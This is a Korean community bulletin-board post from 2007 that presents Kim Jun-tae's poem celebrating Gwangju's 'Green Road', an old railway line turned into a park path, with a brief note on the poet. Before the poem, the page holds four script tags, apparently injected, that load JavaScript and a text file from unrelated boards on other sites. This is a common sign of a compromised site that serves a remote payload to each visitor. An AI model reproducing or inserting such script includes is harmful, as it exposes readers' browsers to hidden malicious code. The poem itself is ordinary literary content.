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작성일 : 07-04-30 11:00
푸른길을 노래함- 김준태시인의 시
 글쓴이 : 운영자
조회 : 3,517  
                              <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/akeumyoil.js></script>            <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                  <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script>푸른길을 노래함
- ‘푸른길가꾸기’원년에 부쳐-

참말로 좋네

광주에는
푸른길이 있어서 좋네
나무들이 서로 모여 살고
새들이 그 나무들 속에 집을 짓고
아이들이 나비처럼 내려앉는 옛 기찻길

광주에는
푸른길 푸른 마음 출렁출렁 좋네
할머니가 아장아장 손자녀석 등에 업는 길
할아버지가 손자딸 앞세워 소년인양 걷는 길
지어미와 지아비가 늙을 줄 모르고 걷는 길
젊은이들이 휘파람 불며 자전거로 달리는 길

광주에는
푸른 나라로 열려진 길이
푸른 세상으로 열려진 길이 펼쳐져서 좋네

봄여름가을겨울 음악이 흐르듯
햇살과 달빛 받아 넘실넘실 강물 흐르듯
연인들 가슴도 풍선처럼 둥글게 부풀어오르는
빛고을 광주라 아름다운 옛 기찻길-

보기에도 참 좋네
걸아가 보면 더욱 더 좋고 좋네
이웃끼리 손잡고 걸으면 참말로 신명이 나네
나무와 꽃과 새들이 노래하는 푸른길 푸른광주!

김준태/1969년 시단에 나옴. 시집으로 「참깨를 털면서」「국밥과 희망」, 「칼과 흙」「지평선에 서서」 등 다수